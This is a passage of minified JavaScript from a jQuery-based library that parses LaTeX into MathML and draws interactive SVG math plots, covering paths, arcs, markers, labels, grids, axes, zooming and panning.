},{input:"\\textit",tag:"mstyle",atname:"mathvariant",atval:"italic",ttype:b},{input:"\\mathtt",tag:"mstyle",atname:"mathvariant",atval:"monospace",ttype:b,codes:s},{input:"\\texttt",tag:"mstyle",atname:"mathvariant",atval:"monospace",ttype:b,codes:s},{input:"\\mathsf",tag:"mstyle",atname:"mathvariant",atval:"sans-serif",ttype:b,codes:s},{input:"\\mathbb",tag:"mstyle",atname:"mathvariant",atval:"double-struck",ttype:b,codes:p},{input:"\\mathcal",tag:"mstyle",atname:"mathvariant",atval:"script",ttype:b,codes:q},{input:"\\mathfrak",tag:"mstyle",atname:"mathvariant",atval:"fraktur",ttype:b,codes:B}];var r=[];function k(){return(j.browser.mozilla||j.browser.opera)}function E(F,G){if(F.input>G.input){return 1}else{return -1}}function u(){var F=a.length;a.sort(E);for(var G=0;G<F;G++){r[G]=a[G].input}}function w(F,G){return j.trim(F.slice(G))}function C(G,I){var H=r.indexOf(G,I);if(H<0){var F=r.concat([G]);F.sort();H=F.indexOf(G,I)}return H}function t(M){var F=0;var G=0;var I;var O;var N;var J="";var L=true;var K=M.length;for(var H=1;H<=K&&L;H++){O=M.slice(0,H);G=F;F=C(O,G);if(F<r.length&&M.slice(0,r[F].length)==r[F]){J=r[F];I=F;H=J.length}L=F<r.length&&M.slice(0,r[F].length)>=r[F]}if(J!==""){return a[I]}F=1;O=M.slice(0,1);if("0"<=O&&O<="9"){N="mn"}else{N=(("A">O||O>"Z")&&("a">O||O>"z")?"mo":"mi")}return{input:O,tag:N,output:O,ttype:x}}function f(N){var I,G,S,H,K,Q,M=document.createDocumentFragment();N=j.trim(N);I=t(N);if(I===null||I.ttype==d){return[null,N,null]}if(I.ttype==l){N=I.output+w(N,I.input.length);I=t(N);if(I===null||I.ttype==d){return[null,N,null]}}N=w(N,I.input.length);switch(I.ttype){case n:G=A(I.tag);G.setAttribute(I.atname,I.atval);return[G,N,I.tag];case o:return[A(I.tag,document.createTextNode(I.output)),N,I.tag];case x:G=A(I.tag,document.createTextNode(I.output));return[G,N,I.tag];case g:G=A(I.tag,document.createTextNode(I.output));if(I.input=="|"||I.input=="\\vert"||I.input=="\\|"||I.input=="\\Vert"){G.setAttribute("lspace","0em");G.setAttribute("rspace","0em")}G.setAttribute("maxsize",I.atval);if(I.rtag!==null){return[G,N,I.rtag]}else{return[G,N,I.tag]}case y:var L=I.atval;I=t(N);if(I===null){return[null,N,null]}N=w(N,I.input.length);G=A(I.tag,document.createTextNode(I.output));G.setAttribute("minsize",L);G.setAttribute("maxsize",L);return[G,N,I.tag];case v:if(I.input=="\\left"){I=t(N);if(I!==null){if(I.input=="."){I.invisible=true}N=w(N,I.input.length)}}S=h(N,true,false);if(I===null||(typeof I.invisible=="boolean"&&I.invisible)){G=A("mrow",S[0])}else{G=A("mo",document.createTextNode(I.output));G=A("mrow",G);G.appendChild(S[0])}return[G,S[1],S[2]];case i:if(I.input=="\\begin{array}"){var R="";I=t(N);N=j.trim(N);if(I===null){R="l"}else{N=w(N,I.input.length);if(I.input!="{"){R="l"}else{do{I=t(N);if(I!==null){N=w(N,I.input.length);if(I.input!="}"){R=R+I.input}}}while(I!==null&&I.input!==""&&I.input!="}")}}S=h("{"+N,true,true);G=A("mtable",S[0]);R=R.replace(/l/g,"left ");R=R.replace(/r/g,"right ");R=R.replace(/c/g,"center ");G.setAttribute("columnalign",R);G.setAttribute("displaystyle","false");return[G,S[1],null]}else{S=h("{"+N,true,true);G=A("mtable",S[0]);G.setAttribute("columnspacing","0.167em");G.setAttribute("columnalign","right center left");G.setAttribute("displaystyle","true");G=A("mrow",G);return[G,S[1],null]}case z:if(N.charAt(0)=="{"){K=N.indexOf("}")}else{K=0}if(K==-1){K=N.length}Q=N.slice(1,K);M.appendChild(A(I.tag,document.createTextNode(Q)));N=w(N,K+1);return[A("mrow",M),N,null];case b:S=f(N);if(S[0]===null){return[A(I.tag,document.createTextNode(I.output)),N]}if(typeof I.func=="boolean"&&I.func){Q=N.charAt(0);if(Q=="^"||Q=="_"||Q==","){return[A(I.tag,document.createTextNode(I.output)),N,I.tag]}else{G=A("mrow",A(I.tag,document.createTextNode(I.output)));G.appendChild(S[0]);return[G,S[1],I.tag]}}if(I.input=="\\sqrt"){return[A(I.tag,S[0]),S[1],I.tag]}else{if(typeof I.acc=="boolean"&&I.acc){G=A(I.tag,S[0]);var F=I.output;var P=A("mo",document.createTextNode(F));if(I.input=="\\vec"||I.input=="\\check"){P.setAttribute("maxsize","1.2")}if(I.input=="\\underbrace"||I.input=="\\underline"){P.setAttribute("accentunder","true")}else{P.setAttribute("accent","true")}G.appendChild(P);if(I.input=="\\overbrace"||I.input=="\\underbrace"){G.ttype=o}return[G,S[1],I.tag]}else{if(typeof I.codes!="undefined"){for(K=0;K<S[0].childNodes.length;K++){if(S[0].childNodes[K].nodeName=="mi"||S[0].nodeName=="mi"){Q=(S[0].nodeName=="mi"?S[0].firstChild.nodeValue:S[0].childNodes[K].firstChild.nodeValue);var O=[];for(var J=0;J<Q.length;J++){if(Q.charCodeAt(J)>64&&Q.charCodeAt(J)<91){O=O+I.codes[Q.charCodeAt(J)-65]}else{if(Q.charCodeAt(J)>96&&Q.charCodeAt(J)<123){O=O+I.codes[Q.charCodeAt(J)-71]}}}if(S[0].nodeName=="mi"){S[0]=A("mo").appendChild(document.createTextNode(O))}else{S[0].replaceChild(A("mo").appendChild(document.createTextNode(O)),S[0].childNodes[K])}}}}G=A(I.tag,S[0]);G.setAttribute(I.atname,I.atval);if(I.input=="\\scriptstyle"||I.input=="\\scriptscriptstyle"){G.setAttribute("displaystyle","false")}return[G,S[1],I.tag]}}case c:S=f(N);if(S[0]===null){return[A("mo",document.createTextNode(I.input)),N,null]}H=f(S[1]);if(H[0]===null){return[A("mo",document.createTextNode(I.input)),N,null]}if(I.input=="\\root"||I.input=="\\stackrel"){M.appendChild(H[0])}M.appendChild(S[0]);if(I.input=="\\frac"){M.appendChild(H[0])}return[A(I.tag,M),H[1],I.tag];case m:N=w(N,I.input.length);return[A("mo",document.createTextNode(I.output)),N,I.tag];default:return[A(I.tag,document.createTextNode(I.output)),N,I.tag]}}function D(K){var J,H,G,I,M,N,L;H=t(K);M=f(K);I=M[0];K=M[1];N=M[2];J=t(K);if(J.ttype==m){K=w(K,J.input.length);M=f(K);if(M[0]===null){M[0]=A("mo",document.createTextNode("\u25A1"))}K=M[1];N=M[2];if(J.input=="_"||J.input=="^"){G=t(K);N=null;L=((H.ttype==o)||(I.ttype==o));if(J.input=="_"&&G.input=="^"){K=w(K,G.input.length);var F=f(K);K=F[1];N=F[2];I=A((L?"munderover":"msubsup"),I);I.appendChild(M[0]);I.appendChild(F[0])}else{if(J.input=="_"){I=A((L?"munder":"msub"),I);I.appendChild(M[0])}else{I=A((L?"mover":"msup"),I);I.appendChild(M[0])}}I=A("mrow",I)}else{I=A(J.tag,I);if(J.input=="\\atop"||J.input=="\\choose"){I.setAttribute("linethickness","0ex")}I.appendChild(M[0]);if(J.input=="\\choose"){I=A("mfenced",I)}}}return[I,K,N]}function h(M,L,R){var Q,N,I,T,X,J=document.createDocumentFragment();do{M=j.trim(M);I=D(M);N=I[0];M=I[1];X=I[2];Q=t(M);if(N!=undefined){if((X=="mn"||X=="mi")&&Q!==null&&typeof Q.func=="boolean"&&Q.func){var W=A("mspace");W.setAttribute("width","0.167em");N=A("mrow",N);N.appendChild(W)}J.appendChild(N)}}while((Q.ttype!=d)&&Q!==null&&Q.output!="");X=null;if(Q.ttype==d){if(Q.input=="\\right"){M=w(M,Q.input.length);Q=t(M);if(Q!==null&&Q.input=="."){Q.invisible=true}if(Q!==null){X=Q.rtag}}if(Q!==null){M=w(M,Q.input.length)}var U=J.childNodes.length;if(R&&U>0&&J.childNodes[U-1].nodeName=="mrow"&&U>1&&J.childNodes[U-2].nodeName=="mo"&&J.childNodes[U-2].firstChild.nodeValue=="&"){var G=[];var O=J.childNodes.length;for(T=0;R&&T<O;T=T+2){G[T]=[];N=J.childNodes[T];for(var S=0;S<N.childNodes.length;S++){if(N.childNodes[S].firstChild.nodeValue=="&"){G[T][G[T].length]=S}}}var H,F,K,P,V=document.createDocumentFragment();for(T=0;T<O;T=T+2){H=document.createDocumentFragment();F=document.createDocumentFragment();N=J.firstChild;K=N.childNodes.length;P=0;for(S=0;S<K;S++){if(typeof G[T][P]!="undefined"&&S==G[T][P]){N.removeChild(N.firstChild);H.appendChild(A("mtd",F));P++}else{F.appendChild(N.firstChild)}}H.appendChild(A("mtd",F));if(J.childNodes.length>2){J.removeChild(J.firstChild);J.removeChild(J.firstChild)}V.appendChild(A("mtr",H))}return[V,M]}if(typeof Q.invisible!="boolean"||!Q.invisible){N=A("mo",document.createTextNode(Q.output));J.appendChild(N)}}return[J,M,X]}if(!document.createElementNS){document.createElementNS=function(G,F){return this.createElement(F)}}function A(F,H){var G=document.createElementNS("http://www.w3.org/1998/Math/MathML",F);if(H){j(G).append(H)}return G}return{showFormulaOnMouseOver:false,latexImages:false,latexConverter:"http://www.forkosh.dreamhost.com/mimetex.cgi?",mathColor:"black",mathFontSize:"",mathFontFamily:"",createElementXHTML:function(F,G,I){var H=document.createElementNS("http://www.w3.org/1999/xhtml",F);if(G){H.id=G}if(I){H.className=I}return H},define:function(H,I){if(MSVG.latexImages){return}if((typeof H)=="string"){H=[H];I=[I]}var G,F=H.length;if(F!=I.length){return}for(G=0;G<F;G++){a=a.concat([{input:"\\"+H[G],tag:"mo",output:I[G],ttype:l}])}u()},parseMath:function(J,I,G,F){if(J===null){return null}var K=h(J.replace(/^\s+/g,""),false,false)[0];var H=A("mstyle",K);if(I){j(H).attr({displaystyle:"true"})}j(H).attr({mathcolor:F||MSVG.mathColor,fontsize:G||MSVG.mathFontSize,fontfamily:MSVG.mathFontFamily});H=A("math",H);if(MSVG.showFormulaOnMouseOver){j(H).attr({title:J.replace(/\s+/g," ")})}return H},parseMathExternal:function(K,J,G,F){if(K===null){return null}var I=MSVG.createElementXHTML("img");var H=MSVG.latexConverter+K;j(I).attr({src:H});if(MSVG.showFormulaOnMouseOver){j(I).attr({title:K.replace(/\s+/g," ")})}return I},generic:function(){if(MSVG.latexImages||!k()){MSVG.parseMath=MSVG.parseMathExternal}else{u()}if(!(window.SVGElement||j.browser.opera||j.browser.safari)){ASVG.drawPictures=ASVG.removePictures}}}}(jQuery);var ASVG=function($){var SVG;var collection=[];var markerChars="o*sSx+<>|";function createSVGElement(elType){return document.createElementNS("http://www.w3.org/2000/svg",elType)}function getSVGElement(id,el){var node,res={node:null,newEl:false};if(id){id=SVG.id+"_"+id;res.node=$("#"+id)[0]}if(!res.node){res.node=createSVGElement(el);if(id){res.node.id=id}res.newEl=true}return res}function appendSVG(elmt){if(elmt.newEl){$(SVG.canvas).append(elmt.node)}}function setButton(text,title,func){var node=MSVG.createElementXHTML("span",null,"svgButton");node.title=title;node.onclick=func;$(node).append(text);$(node).css({paddingRight:"0.5em",paddingLeft:"0.5em",fontSize:"1em",fontFamily:"monospace",background:"blue",color:"yellow",cursor:"pointer"});$(node).mouseover(function(){$(this).css({background:"yellow",color:"blue"})});$(node).mouseout(function(){$(this).css({background:"blue",color:"yellow"})});node.setAttribute("owner",SVG.id);return node}function pictureAttributes(){this.id=null;this.stroke="blue";this.strokewidth=1;this.strokeopacity=1;this.strokedasharray="none";this.fill="none";this.fillopacity=1;this.fontstyle="normal";this.fontfamily="serif";this.fontweight="normal";this.fontsize=12;this.fontstroke="none";this.fontstrokewidth=1;this.fontstrokeopacity=1;this.fontstrokedasharray="none";this.fontfill="black";this.fontfillopacity=1;this.sector=false;this.largearc=0;this.marker="o";this.size=8;this.orient="auto";this.units="userSpaceOnUse";this.markerstroke="blue";this.markerstrokewidth=1;this.markerstrokeopacity=1;this.markerstrokedasharray="none";this.markerfill="none";this.markerfillopacity=1;this.sweep=0;this.rx=0;this.ry=0;this.closed=false;this.curve="";this.direction=[1,0];this.ticklabels="";this.pos="";this.points=200;this.backgroundcolor="none";this.backgroundopacity=1}function pictureObject(){this.id=null;this.pos=null;this.src="";this.canvas=null;this.border=0;this.width=300;this.height=200;this.factor=1;this.xmin=-5;this.xmax=5;this.ymin=null;this.ymax=null;this.xunitlength=null;this.yunitlength=null;this.origin=[0,0];this.coords="cartesian";this.mouse=[null,null];this.drag=null;this.pan=true;this.locked=false;this.attr=new pictureAttributes()}function refresh(){translateAndEval(SVG.id)}function translateAndEval(id){var errstr;var src=SVG.src;$("#"+SVG.id+" .svgMarker").remove();$("#"+SVG.id+"Canvas").empty();$("#"+SVG.id+"mml").empty();ASVG.dynamic[id]={};src=src.replace(/dynamic\./g,"ASVG.dynamic."+id+".");SVG.attr=new pictureAttributes();try{with(Math){eval(src)}}catch(err){if(typeof err=="object"){errstr=err.name+" "+err.message+" "+err.number+" "+err.description}else{errstr=err}alert(errstr+"\n"+src)}collection[SVG.id]=SVG}function setOptions(atr){for(var i in atr){SVG.attr[i]=atr[i]}}function getOptions(attr,options,prefix){var pref=prefix||"";if(typeof attr=="string"){return(options[pref+attr]==undefined?SVG.attr[pref+attr]:options[pref+attr])}else{var i,newAttr={},len=attr.length,item;for(i=0;i<len;i++){item=attr[i];newAttr[item]=options[pref+item]==undefined?SVG.attr[pref+item]:options[pref+item]}return newAttr}}function setAction(evt,fn,id){if(!$.isFunction(fn)){return}var node=id?$("#"+SVG.id+"_"+id):$("#"+SVG.id);$(node).bind(evt,fn)}function getPosition(evt){var off=$(evt.currentTarget.parentNode).offset();var posX=(evt.pageX-off.left-SVG.origin[0]-SVG.border)/SVG.xunitlength;var posY=(SVG.height-SVG.origin[1]-evt.pageY+off.top+SVG.border)/SVG.yunitlength;return[posX,posY]}function getAngle(p){p=p||[0,0];var res=Math.atan2(SVG.mouse[1]-p[1],SVG.mouse[0]-p[0]);res=(res<0)?res+2*Math.PI:res;return res}function getDistance(p){p=p||[0,0];return Math.sqrt(Math.pow(SVG.mouse[0]-p[0],2)+Math.pow(SVG.mouse[1]-p[1],2))}function updateButton(obj){var id=$(obj).attr("owner");var node=$("#"+id+"src");if(obj.firstChild.nodeValue=="Edit"){obj.firstChild.nodeValue="Update";obj.title="Update picture";node.val(SVG.src).css("display","block")}else{SVG.src=node.val();translateAndEval(id)}}function switchTo(evt){var name=evt.currentTarget.id;if(SVG.id==name||SVG.locked){return}SVG=collection[name]}function onWheel(evt){if(SVG.locked){return false}evt=evt||window.event;var factor=1;if(evt.wheelDelta){factor=(evt.wheelDelta>0)?0.8:1.25}else{if(evt.detail){factor=(evt.detail<0)?0.8:1.25}}if(evt.shiftKey){changeSize(factor)}else{changeScales(factor)}evt.preventDefault();evt.stopPropagation();return false}function onClick(evt){if(evt.button===0){if(evt.shiftKey){$("#"+SVG.id+"toolbar").slideToggle();$("#"+SVG.id+"src").val(SVG.src);SVG.locked=!SVG.locked;evt.stopImmediatePropagation()}else{if(SVG.pan&&!SVG.locked){SVG.drag=[evt.clientX,evt.clientY]}}}return false}function onDrop(evt){if(SVG.drag==null){return false}var xlen=(SVG.drag[0]-evt.clientX)/SVG.xunitlength;var ylen=(-SVG.drag[1]+evt.clientY)/SVG.yunitlength;SVG.drag=null;if(xlen==0&&ylen==0){return false}changeScales(1,[SVG.xmin+xlen,SVG.xmax+xlen,SVG.ymin+ylen,SVG.ymax+ylen]);return false}function setScales(){SVG.xunitlength=SVG.width/(SVG.xmax-SVG.xmin);SVG.yunitlength=SVG.height/(SVG.ymax-SVG.ymin);SVG.origin=[-SVG.xmin*SVG.xunitlength,-SVG.ymin*SVG.yunitlength]}function getScales(scales){scales=scales||[];var res=[null,null,null,null];switch(scales.length){case 0:res[0]=SVG.xmin;res[1]=SVG.xmax;break;case 2:res[0]=scales[0];res[1]=scales[1];break;case 4:res=scales}return res}function setSize(){var picture=$("#"+SVG.id)[0];picture.setAttribute("width",SVG.width);picture.setAttribute("height",SVG.height);picture.parentNode.style.width=SVG.width+"px";picture.parentNode.style.height=SVG.height+"px";var node=$("#"+SVG.id+"ClipPath")[0];node.firstChild.setAttribute("d","M0,0 "+SVG.width+",0 "+SVG.width+","+SVG.height+" 0,"+SVG.height);node=$("#"+SVG.id+"Coords")[0];if(node){node.setAttribute("x",SVG.width);node.setAttribute("y",SVG.height-2)}}function changeSize(factor){SVG.factor*=factor;SVG.width/=factor;SVG.height/=factor;setSize();setScales();translateAndEval(SVG.id)}function changeScales(factor,trans){trans=trans||[SVG.xmin,SVG.xmax,SVG.ymin,SVG.ymax];SVG.factor*=factor;var dx=(SVG.xmax-SVG.xmin)*(1-factor)*0.5;var dy=(SVG.ymax-SVG.ymin)*(1-factor)*0.5;SVG.xmin=trans[0]+dx;SVG.xmax=trans[1]-dx;SVG.ymin=trans[2]+dy;SVG.ymax=trans[3]-dy;setScales();translateAndEval(SVG.id)}function updateCoord(evt){if(SVG.locked){return false}if($.browser.opera){switchTo(evt)}SVG.mouse=getPosition(evt);if(SVG.coords!="none"){var coords;if(SVG.coords=="cartesian"){coords="C: ("+SVG.mouse[0].toFixed(2)+", "+SVG.mouse[1].toFixed(2)+")"}else{coords="P: ("+getDistance().toFixed(2)+", "+getAngle().toFixed(2)+")"}$("#"+SVG.id+"Coords").text(coords)}return false}function removeCoord(){$("#"+SVG.id+"Coords").text("")}function exportSVG(obj){var name=$(obj).attr("owner");var pic=$("#"+name)[0].parentNode.innerHTML;var pos=pic.indexOf("</svg")+6;pic=pic.substr(0,pos);var svg="<?xml version='1.0' encoding='UTF-8' standalone='no'?>\n";if(pic.indexOf("svgCoords")>-1){pos=pic.lastIndexOf("<text");svg+=pic.substr(0,pos);pos=pic.lastIndexOf("</text")+7;svg+=pic.substr(pos)}else{svg+=pic}svg=svg.replace(/ /g,"");svg=svg.replace(/><(?!\/)/g,">\n<");obj.previousSibling.firstChild.nodeValue="Edit";$("#"+name+"src").val(svg).css("display","block")}function toSVG(p){var x=p[0]*SVG.xunitlength+SVG.origin[0];var y=SVG.height-p[1]*SVG.yunitlength-SVG.origin[1];return[x,y]}function toSVGPair(p){var q=toSVG(p);return q[0]+" "+q[1]}function setStrokeAndFill(node,options,prefix){var attributes=["stroke","strokewidth","strokedasharray","strokeopacity","fill","fillopacity"];var attr=getOptions(attributes,options,prefix);node.setAttribute("stroke",attr.stroke);node.setAttribute("stroke-width",attr.strokewidth/SVG.factor);node.setAttribute("stroke-dasharray",attr.strokedasharray);node.setAttribute("stroke-opacity",attr.strokeopacity);node.setAttribute("fill",attr.fill);node.setAttribute("fill-opacity",attr.fillopacity)}function button(p,q,txt,action,options){options=options||{};options.id=(options.id||Math.randomString(8));rect(p,q,options);setAction("click",action,options.id);options.fill=null;options.fillopacity=1;options.id+="_t";text([(p[0]+q[0])*0.5,(p[1]+q[1])*0.5],txt,options);setAction("click",action,options.id)}function setMarkers(obj,options){var attributes=["marker","size","units","orient","markerstroke","markerstrokeopacity"];var attr=getOptions(attributes,options);var node,node2,i,id,pos=["marker-start","marker-mid","marker-end"];var lim=attr.marker.length;for(i=0;i<lim;i++){var type=attr.marker.charAt(i);if(type=="-"||markerChars.indexOf(type)<0){continue}id=(options.id||Math.randomString(8))+"Marker_"+markerChars.indexOf(type);node=$("#"+SVG.id+"_"+id)[0];if(!node){node=getSVGElement(id,"marker").node;node.setAttribute("class","svgMarker");node.setAttribute("viewBox","0 0 10 10");node.setAttribute("refX",5);node.setAttribute("refY",5);node.setAttribute("orient",attr.orient);node.setAttribute("markerUnits",attr.units);switch(type){case"*":case"o":node2=createSVGElement("circle");node2.setAttribute("cx",5);node2.setAttribute("cy",5);node2.setAttribute("r",4);break;case">":node2=createSVGElement("path");node2.setAttribute("d","M0 0 L10 5 L0 10 z");node.setAttribute("refX",10);break;case"<":node2=createSVGElement("path");node2.setAttribute("d","M10 0 L10 10 L0 5 z");node.setAttribute("refX",0);break;case"x":node2=createSVGElement("path");node2.setAttribute("d","M0 0 L10 10 M0 10 L10 0");break;case"+":node2=createSVGElement("path");node2.setAttribute("d","M5 0 L5 10 M0 5 L10 5");break;case"|":node2=createSVGElement("path");node2.setAttribute("d","M5 0 L5 10");break;case"S":case"s":node2=createSVGElement("rect");node2.setAttribute("x",0);node2.setAttribute("y",0);node2.setAttribute("width",10);node2.setAttribute("height",10)}setStrokeAndFill(node2,options,"marker");if("*<>S".indexOf(type)>-1){node2.setAttribute("fill",attr.markerstroke);node2.setAttribute("fill-opacity",attr.markerstrokeopacity)}$(node).append(node2);$("#"+SVG.id+"_Defs:first").append(node)}node.setAttribute("markerWidth",attr.size/SVG.factor);node.setAttribute("markerHeight",attr.size/SVG.factor);obj.setAttribute(pos[i],"url(#"+SVG.id+"_"+id+")")}}function setLabels(p,options){var i,point,pos;var label=(typeof options.label=="string")?[options.label]:options.label;var labelpos=getOptions("pos",options);labelpos=(typeof labelpos=="string")?[labelpos]:labelpos;var poslen=labelpos.length;var size=options.size||SVG.attr.size;var dx=(0.5*size/SVG.xunitlength)/SVG.factor;var dy=(0.5*size/SVG.yunitlength)/SVG.factor;for(i=0;i<label.length;i++){options.isLabel="_label"+i;point=p[i];pos=(poslen>i)?labelpos[i].toUpperCase():pos;if(/E/.test(pos)){point[0]+=dx}if(/W/.test(pos)){point[0]-=dx}if(/N/.test(pos)){point[1]+=dy}if(/S/.test(pos)){point[1]-=dy}options.pos=pos;text(point,label[i],options)}}function line(p,q,options){options=options||{};options.closed=false;options.curve="";path([p,q],options)}function dot(p,options){options=options||{};var direction=getOptions("direction",options);var q=[p[0]+direction[0]/SVG.xunitlength,p[1]+direction[1]/SVG.yunitlength];var elmt=getSVGElement(options.id,"path");var st="M"+toSVGPair(p)+" "+toSVGPair(q);elmt.node.setAttribute("d",st);elmt.node.setAttribute("stroke","none");setMarkers(elmt.node,options);if(options.label){setLabels([p,q],options)}appendSVG(elmt)}function path(list,options){options=options||{};var st,i,elmt=getSVGElement(options.id,"path");var attr=getOptions(["curve","closed"],options);var len=list.length;if(len===0){return}st="M"+toSVGPair(list[0])+" "+attr.curve;for(i=1;i<len;i++){st+=toSVGPair(list[i])+" "}if(attr.closed){st+="Z"}elmt.node.setAttribute("d",st);setStrokeAndFill(elmt.node,options);if(options.marker){setMarkers(elmt.node,options)}if(options.label){setLabels(list,options)}appendSVG(elmt)}function rotate(id,angle,options){if(!id||!angle){return}var node=$("#"+SVG.id+"_"+id)[0];if(node){options=options||{};var center=options.center?toSVG(options.center):SVG.origin;angle=-angle*180/Math.PI;var transform=node.getAttribute("transform")||"";transform="rotate("+angle+" "+center+") "+(options.replace?"":transform);node.setAttribute("transform",transform)}}function translate(id,delta,options){if(!id||!delta){return}var node=$("#"+SVG.id+"_"+id)[0];if(node){options=options||{};delta=toSVG(delta);var transform=node.getAttribute("transform")||"";transform="translate("+(delta[0]-SVG.origin[0])+" "+(SVG.origin[1]+delta[1]-SVG.height)+") "+(options.replace?"":transform);node.setAttribute("transform",transform)}}function curve(list,options){options=options||{};options.curve=options.curve||"T";path(list,options)}function circle(center,radius,options){ellipse(center,radius,radius,options)}function loop(p,options){options=options||{};var d=options.direction||[1,0];options.curve="C";options.closed=false;path([p,[p[0]+d[0],p[1]+d[1]],[p[0]-d[1],p[1]+d[0]],p],options)}function arc(options){options=options||{};var start=options.start;var end=options.end;var center=options.center;var startangle=options.startangle;var endangle=options.endangle;var st="M",elmt=getSVGElement(options.id,"path");var attr=getOptions(["largearc","sweep","closed","sector"],options);var radius=options.radius;if(center!=null&&startangle!=null&&endangle!=null&&radius!=null){start=[radius*Math.cos(startangle)+center[0],radius*Math.sin(startangle)+center[1]];end=[radius*Math.cos(endangle)+center[0],radius*Math.sin(endangle)+center[1]]}if(start==null||end==null){return}if(!radius){var v=[end[0]-start[0],end[1]-start[1]];radius=Math.sqrt(v[0]*v[0]+v[1]*v[1])}if(attr.sector){st+=toSVGPair(center)+" "}st+=toSVGPair(start)+" A"+radius*SVG.xunitlength+","+radius*SVG.yunitlength+" 0 "+attr.largearc+","+attr.sweep+" "+toSVGPair(end);if(attr.sector||attr.closed){st+=" z"}elmt.node.setAttribute("d",st);setStrokeAndFill(elmt.node,options);if(options.marker){setMarkers(elmt.node,options)}if(options.label){setLabels([start,end],options)}appendSVG(elmt)}function sector(options){if(!options.center||!options.startangle||!options.endangle||!options.radius){return}options.sector=true;arc(options)}function ellipse(center,rx,ry,options){options=options||{};var elmt=getSVGElement(options.id,"ellipse");center=toSVG(center);elmt.node.setAttribute("cx",center[0]);elmt.node.setAttribute("cy",center[1]);elmt.node.setAttribute("rx",rx*SVG.xunitlength);elmt.node.setAttribute("ry",ry*SVG.yunitlength);setStrokeAndFill(elmt.node,options);appendSVG(elmt)}function polygon(list,options){options=options||{};options.closed=true;path(list,options)}function rect(p,q,options){options=options||{};var elmt=getSVGElement(options.id,"rect");var attr=getOptions(["rx","ry"],options);elmt.node.setAttribute("x",toSVG(p)[0]);elmt.node.setAttribute("y",toSVG(q)[1]);elmt.node.setAttribute("width",(q[0]-p[0])*SVG.xunitlength);elmt.node.setAttribute("height",(q[1]-p[1])*SVG.yunitlength);elmt.node.setAttribute("rx",attr.rx*SVG.xunitlength);elmt.node.setAttribute("ry",attr.ry*SVG.yunitlength);setStrokeAndFill(elmt.node,options);appendSVG(elmt)}function text(p,st,options){options=options||{};var id=options.id;var fill=getOptions("fontfill",options);if(id&&options.isLabel){id+=options.isLabel}var pos=getOptions("pos",options).toUpperCase();var fontsize=getOptions("fontsize",options)/SVG.factor;var node,dx=0,dy=0,str=st.toString();var q=toSVG(p);if(/\$/.test(str)){if(p[0]>SVG.xmax||p[0]<SVG.xmin||p[1]>SVG.ymax||p[1]<SVG.ymin){return}var dnode=$("#"+SVG.id+"mml:first");if(id){node=$("#"+id)[0]}if(!node){node=MSVG.createElementXHTML("div",id);node.style.position="absolute";dnode.append(node)}else{$(node).empty()}str=$.trim(str);str=str.substr(1,str.length-2);$(node).append(MSVG.parseMath(str,true,fontsize+"px",fill));dx=-node.offsetWidth/2;dy=-node.offsetHeight/2;if(/N/.test(pos)){dy=-node.offsetHeight}if(/S/.test(pos)){dy=0}if(/E/.test(pos)){dx=0}if(/W/.test(pos)){dx=-node.offsetWidth}node.style.left=(q[0]+dx)+"px";node.style.top=(q[1]+dy)+"px"}else{var baseline="middle",textanchor="middle";if(/E/.test(pos)){textanchor="start"}if(/W/.test(pos)){textanchor="end"}if(/N/.test(pos)){baseline="text-after-edge"}if(/S/.test(pos)){baseline="text-before-edge"}var attr=getOptions(["fontstyle","fontfamily","fontweight"],options);var elmt=getSVGElement(id,"text");$(elmt.node).empty().text(str);elmt.node.setAttribute("x",q[0]);elmt.node.setAttribute("y",q[1]);elmt.node.setAttribute("font-style",attr.fontstyle);elmt.node.setAttribute("font-family",attr.fontfamily);elmt.node.setAttribute("font-weight",attr.fontweight);elmt.node.setAttribute("font-size",fontsize);elmt.node.setAttribute("text-anchor",textanchor);elmt.node.setAttribute("dominant-baseline",baseline);setStrokeAndFill(elmt.node,options,"font");appendSVG(elmt)}}function image(url,options){options=options||{};var elmt=getSVGElement(options.id,"image");var height=options.height||SVG.height;var width=options.width||SVG.width;var point=toSVG(options.point||[SVG.xmin,SVG.ymin]);var pos=(options.pos||"").toUpperCase();var x=point[0]-width*0.5;var y=point[1]-height*0.5;if(/N/.test(pos)){y-=height*0.5}if(/S/.test(pos)){y+=height*0.5}if(/E/.test(pos)){x+=width*0.5}if(/W/.test(pos)){x-=width*0.5}elmt.node.setAttribute("x",x);elmt.node.setAttribute("y",y);elmt.node.setAttribute("width",width);elmt.node.setAttribute("height",height);elmt.node.setAttributeNS("http://www.w3.org/1999/xlink","xlink:href",url);appendSVG(elmt)}function grid(options){options=options||{};var dx,dy,x,y,k;var orig=options.origin||[0,0];options.stroke=options.stroke||"grey";options.strokewidth=(options.strokewidth||SVG.attr.strokewidth*0.25)/SVG.factor;var lim=getScales(options.scales);lim[2]=lim[2]||SVG.ymin;lim[3]=lim[3]||SVG.ymax;var group=getSVGElement("Grid","g");$(group.node).empty();var tempNode=SVG.canvas;SVG.canvas=group.node;if(SVG.coords=="polar"){dx=options.dx||1;dy=options.dy||3;var limit=Math.max(Math.abs(lim[0]),Math.abs(lim[1]),Math.abs(lim[2]),Math.abs(lim[3]));for(x=dx;x<limit;x+=dx){circle(orig,x,options)}if(dy>1){for(y=1;y<dy;y++){k=Math.tan(y*Math.PI/(2*dy));line([lim[0],(lim[0]-orig[0])*k+orig[1]],[SVG.xmax,(lim[1]-orig[0])*k+orig[1]],options);line([lim[0],-(lim[0]-orig[0])*k+orig[1]],[SVG.xmax,-(lim[1]-orig[0])*k+orig[1]],options)}}}else{dx=options.dx||1;dy=options.dy||dx;for(x=orig[0];x<lim[1];x+=dx){line([x,lim[2]],[x,lim[3]],options)}for(x=orig[0]-dx;x>lim[0];x-=dx){line([x,lim[2]],[x,lim[3]],options)}for(y=orig[1];y<lim[3];y+=dy){line([lim[0],y],[lim[1],y],options)}for(y=orig[1]-dy;y>lim[2];y-=dy){line([lim[0],y],[lim[1],y],options)}}SVG.canvas=tempNode;appendSVG(group)}function axes(options){options=options||{};options.marker="-|"+(options.marker?options.marker.charAt(0):"-");var x,y,start,stop;var orig=options.origin||[0,0];var origin=toSVG(orig);var dx=options.dx||1;var dy=options.dy||dx;var fontsize=getOptions("fontsize",options);var ddx=Math.max(0,Math.floor(-Math.log(dx+1e-9)/Math.log(10))+1);var ddy=Math.max(0,Math.floor(-Math.log(dy+1e-9)/Math.log(10))+1);options.stroke=options.stroke||"black";options.strokewidth=options.strokewidth||SVG.attr.strokewidth*0.5;options.markerstroke=options.stroke;options.markerstrokewidth=2*options.strokewidth;options.units="strokeWidth";options.size=fontsize*SVG.factor;var 